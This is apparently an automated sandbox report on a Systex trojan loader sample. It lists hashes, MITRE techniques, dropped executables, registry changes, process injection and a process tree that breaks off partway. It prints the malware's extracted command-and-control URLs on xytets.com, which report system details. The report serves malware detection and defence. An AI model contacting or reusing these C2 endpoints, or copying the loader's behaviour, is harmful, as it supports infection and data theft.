systex | ac0ea86fdccefaf5749094785de1d9c7ab48cf1aafcae159ab032a3f02b874a4

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 22:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 361KB
Sample260717-2wlc8agt5p
SHA256 ac0ea86fdccefaf5749094785de1d9c7ab48cf1aafcae159ab032a3f02b874a4
MD5 5448b452990b20ed73bd5e8f0bb4e4ad
SHA1 97e685babae7186e6ee928a707c4442d739a25c3
SHA512 21a2c4970ddf36f409d37fa1bc0498163df45176a790b18633ec22d78efc63906bc867710dad9ae551678be0ead4a0bdcda8aa064019d354fa63c4aadf2fa03d
SSDEEP 6144:GflfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:GflfAsiVGjSGecvX
TLSH
T1B7747C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5380	trljdbvtomgeywqo.exe
4256	trljdbvtomgeywqo.sys
1448	CreateProcess.exe
4892	wtoljdbvlg.exe
5500	CreateProcess.exe
3944	CreateProcess.exe
3088	i_wtoljdbvlg.exe
3644	bvtnlgdyvt.sys
2492	CreateProcess.exe
2312	bvtnlfdyvq.exe
1536	CreateProcess.exe
5108	CreateProcess.exe
604	i_bvtnlfdyvq.exe
6120	tnlfdavsnl.sys
5060	CreateProcess.exe
5192	nlfdxvnifa.exe
5680	CreateProcess.exe
4980	CreateProcess.exe
4112	i_nlfdxvnifa.exe
2456	sqkifaxsqk.sys
5560	CreateProcess.exe
3936	fcxvpnhfdx.exe
1368	CreateProcess.exe
2012	CreateProcess.exe
2528	i_fcxvpnhfdx.exe
1656	faxsqkhcax.sys
2616	CreateProcess.exe
5404	usmkhczxus.exe
1952	CreateProcess.exe
200	CreateProcess.exe
4876	i_usmkhczxus.exe
2996	czurpjhczu.sys
2388	CreateProcess.exe
1220	zxrpjhczxr.exe
1820	CreateProcess.exe
2308	CreateProcess.exe
3196	i_zxrpjhczxr.exe
5452	czurmkecwu.sys
2544	CreateProcess.exe
1860	zwuojgezwr.exe
4424	CreateProcess.exe
5828	CreateProcess.exe
4324	i_zwuojgezwr.exe
2420	bwtomgebzt.sys
1228	CreateProcess.exe
2528	wtrojgebwr.exe
5748	CreateProcess.exe
3440	CreateProcess.exe
5760	i_wtrojgebwr.exe
1348	lgdywtomge.sys
4720	CreateProcess.exe
4120	wtoigdywql.exe
1488	CreateProcess.exe
4368	CreateProcess.exe
712	i_wtoigdywql.exe
972	wtnlgdywqo.sys
3960	CreateProcess.exe
2456	qoigayvtql.exe
4900	CreateProcess.exe
1852	CreateProcess.exe
6036	i_qoigayvtql.exe
776	ifdyvqnlig.sys
2072	CreateProcess.exe
3092	ifdxvqnifd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eczxrpmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aysqolgdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvtnlfdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifausnkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtoljdbvlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnhfcxus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhecxrpjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zwuojgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifdxvqnifd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhecxrpjhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rljdbwtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rljdbwtolg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trljdbvtomgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdxvnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcxvpnhfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpjhczxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtoigdywql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigayvtql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gezwuoljhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtoljdbvlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvtnlfdyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gezwuoljhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgeywqojdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zwuojgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtoigdywql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifdxvqnifd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aysqolgdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifausnkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdxvnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcxvpnhfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtrojgebwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtrojgebwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigayvtql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eczxrpmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgeywqojdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkhczxus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkhczxus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpjhczxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnhfcxus.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4240	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1488	ipconfig.exe
1456	ipconfig.exe
3372	ipconfig.exe
1412	ipconfig.exe
5692	ipconfig.exe
4408	ipconfig.exe
5648	ipconfig.exe
3272	ipconfig.exe
2880	ipconfig.exe
5692	ipconfig.exe
5296	ipconfig.exe
1240	ipconfig.exe
2120	ipconfig.exe
2840	ipconfig.exe
996	ipconfig.exe
2568	ipconfig.exe
3160	ipconfig.exe
4808	ipconfig.exe
4808	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134288025671995073"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2246396966-3025826688-3847171515-1000\{4481F0BC-FBD3-4FC8-89CC-CC34EC677EC0}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5380	trljdbvtomgeywqo.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5380	trljdbvtomgeywqo.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5380	trljdbvtomgeywqo.exe
5380	trljdbvtomgeywqo.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5380	trljdbvtomgeywqo.exe
5380	trljdbvtomgeywqo.exe
5380	trljdbvtomgeywqo.exe
5380	trljdbvtomgeywqo.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found
824	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4460	msedge.exe
4460	msedge.exe
4460	msedge.exe
4460	msedge.exe
4460	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	3088	i_wtoljdbvlg.exe
Token: SeDebugPrivilege	604	i_bvtnlfdyvq.exe
Token: SeDebugPrivilege	4112	i_nlfdxvnifa.exe
Token: SeDebugPrivilege	2528	i_fcxvpnhfdx.exe
Token: SeDebugPrivilege	4876	i_usmkhczxus.exe
Token: SeDebugPrivilege	3196	i_zxrpjhczxr.exe
Token: SeDebugPrivilege	4324	i_zwuojgezwr.exe
Token: SeDebugPrivilege	5760	i_wtrojgebwr.exe
Token: SeDebugPrivilege	712	i_wtoigdywql.exe
Token: SeDebugPrivilege	6036	i_qoigayvtql.exe
Token: SeDebugPrivilege	1348	i_ifdxvqnifd.exe
Token: SeDebugPrivilege	3392	i_ifausnkida.exe
Token: SeDebugPrivilege	1848	i_xvpnhfcxus.exe
Token: SeDebugPrivilege	1412	i_eczxrpmkec.exe
Token: SeDebugPrivilege	5376	i_mhecxrpjhb.exe
Token: SeDebugPrivilege	1652	i_gezwuoljhe.exe
Token: SeDebugPrivilege	2836	i_jgeywqojdb.exe
Token: SeDebugPrivilege	2516	i_rljdbwtolg.exe
Token: SeDebugPrivilege	3272	i_aysqolgdyv.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4460	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3468 wrote to memory of 5380	3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 3468 wrote to memory of 1508	3468	2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 1508 wrote to memory of 4460	1508	iexplore.exe	91
PID 4460 wrote to memory of 4312	4460	msedge.exe	92
PID 4460 wrote to memory of 2804	4460	msedge.exe	94
PID 4460 wrote to memory of 4240	4460	msedge.exe	95
PID 4460 wrote to memory of 2804	4460	msedge.exe	94
PID 4460 wrote to memory of 2804	4460	msedge.exe	94
PID 4460 wrote to memory of 5408	4460	msedge.exe	96
PID 4460 wrote to memory of 5408	4460	msedge.exe	96
PID 4460 wrote to memory of 5280	4460	msedge.exe	97
PID 4460 wrote to memory of 5280	4460	msedge.exe	97
PID 4460 wrote to memory of 5280	4460	msedge.exe	97
PID 4460 wrote to memory of 2088	4460	msedge.exe	98
PID 4460 wrote to memory of 2088	4460	msedge.exe	98
PID 4460 wrote to memory of 2088	4460	msedge.exe	98
PID 4460 wrote to memory of 6032	4460	msedge.exe	99
PID 4460 wrote to memory of 608	4460	msedge.exe	100
PID 4460 wrote to memory of 6032	4460	msedge.exe	99
PID 4460 wrote to memory of 6032	4460	msedge.exe	99
PID 4460 wrote to memory of 608	4460	msedge.exe	100
PID 4460 wrote to memory of 608	4460	msedge.exe	100
PID 4460 wrote to memory of 2876	4460	msedge.exe	102
PID 4460 wrote to memory of 2876	4460	msedge.exe	102
PID 4460 wrote to memory of 4936	4460	msedge.exe	105
PID 4460 wrote to memory of 4936	4460	msedge.exe	105
PID 4460 wrote to memory of 916	4460	msedge.exe	106
PID 4460 wrote to memory of 916	4460	msedge.exe	106
PID 4460 wrote to memory of 4844	4460	msedge.exe	108
PID 5380 wrote to memory of 1448	5380	trljdbvtomgeywqo.exe	109
PID 4892 wrote to memory of 5500	4892	wtoljdbvlg.exe	112
PID 4460 wrote to memory of 4648	4460	msedge.exe	115
PID 4460 wrote to memory of 4648	4460	msedge.exe	115
PID 5380 wrote to memory of 3944	5380	trljdbvtomgeywqo.exe	118
PID 5380 wrote to memory of 2492	5380	trljdbvtomgeywqo.exe	122
PID 2312 wrote to memory of 1536	2312	bvtnlfdyvq.exe	124
PID 5380 wrote to memory of 5108	5380	trljdbvtomgeywqo.exe	127
PID 5380 wrote to memory of 5060	5380	trljdbvtomgeywqo.exe	131
PID 5192 wrote to memory of 5680	5192	nlfdxvnifa.exe	133
PID 5380 wrote to memory of 4980	5380	trljdbvtomgeywqo.exe	136
PID 5380 wrote to memory of 5560	5380	trljdbvtomgeywqo.exe	141
PID 3936 wrote to memory of 1368	3936	fcxvpnhfdx.exe	143
PID 5380 wrote to memory of 2012	5380	trljdbvtomgeywqo.exe	146
PID 4460 wrote to memory of 5420	4460	msedge.exe	148
PID 4460 wrote to memory of 5640	4460	msedge.exe	149
PID 4460 wrote to memory of 2268	4460	msedge.exe	150
PID 5380 wrote to memory of 2616	5380	trljdbvtomgeywqo.exe	153
PID 5404 wrote to memory of 1952	5404	usmkhczxus.exe	155
PID 5380 wrote to memory of 200	5380	trljdbvtomgeywqo.exe	158
PID 5380 wrote to memory of 2388	5380	trljdbvtomgeywqo.exe	162
PID 1220 wrote to memory of 1820	1220	zxrpjhczxr.exe	164
PID 5380 wrote to memory of 2308	5380	trljdbvtomgeywqo.exe	167
PID 5380 wrote to memory of 2544	5380	trljdbvtomgeywqo.exe	171
PID 1860 wrote to memory of 4424	1860	zwuojgezwr.exe	173
PID 5380 wrote to memory of 5828	5380	trljdbvtomgeywqo.exe	176
PID 5380 wrote to memory of 1228	5380	trljdbvtomgeywqo.exe	180
PID 2528 wrote to memory of 5748	2528	wtrojgebwr.exe	182
PID 5380 wrote to memory of 3440	5380	trljdbvtomgeywqo.exe	185
PID 4460 wrote to memory of 1076	4460	msedge.exe	187
PID 4460 wrote to memory of 1076	4460	msedge.exe	187
PID 5380 wrote to memory of 4720	5380	trljdbvtomgeywqo.exe	192
PID 4120 wrote to memory of 1488	4120	wtoigdywql.exe	194
PID 5380 wrote to memory of 4368	5380	trljdbvtomgeywqo.exe	197
PID 5380 wrote to memory of 3960	5380	trljdbvtomgeywqo.exe	201

C:\Users\Admin\AppData\Local\Temp\2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_5448b452990b20ed73bd5e8f0bb4e4ad_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Temp\trljdbvtomgeywqo.exe
  C:\Temp\trljdbvtomgeywqo.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5380
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wtoljdbvlg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1448
  - - C:\Temp\wtoljdbvlg.exe
      C:\Temp\wtoljdbvlg.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4892
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5500
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1488
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wtoljdbvlg.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3944
  - - C:\Temp\i_wtoljdbvlg.exe
      C:\Temp\i_wtoljdbvlg.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3088
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bvtnlfdyvq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2492
  - - C:\Temp\bvtnlfdyvq.exe
      C:\Temp\bvtnlfdyvq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2312
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1536
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2120
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bvtnlfdyvq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5108
  - - C:\Temp\i_bvtnlfdyvq.exe
      C:\Temp\i_bvtnlfdyvq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:604
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nlfdxvnifa.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5060
  - - C:\Temp\nlfdxvnifa.exe
      C:\Temp\nlfdxvnifa.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5192
    - - C:\temp\CreateProcess.exe
        
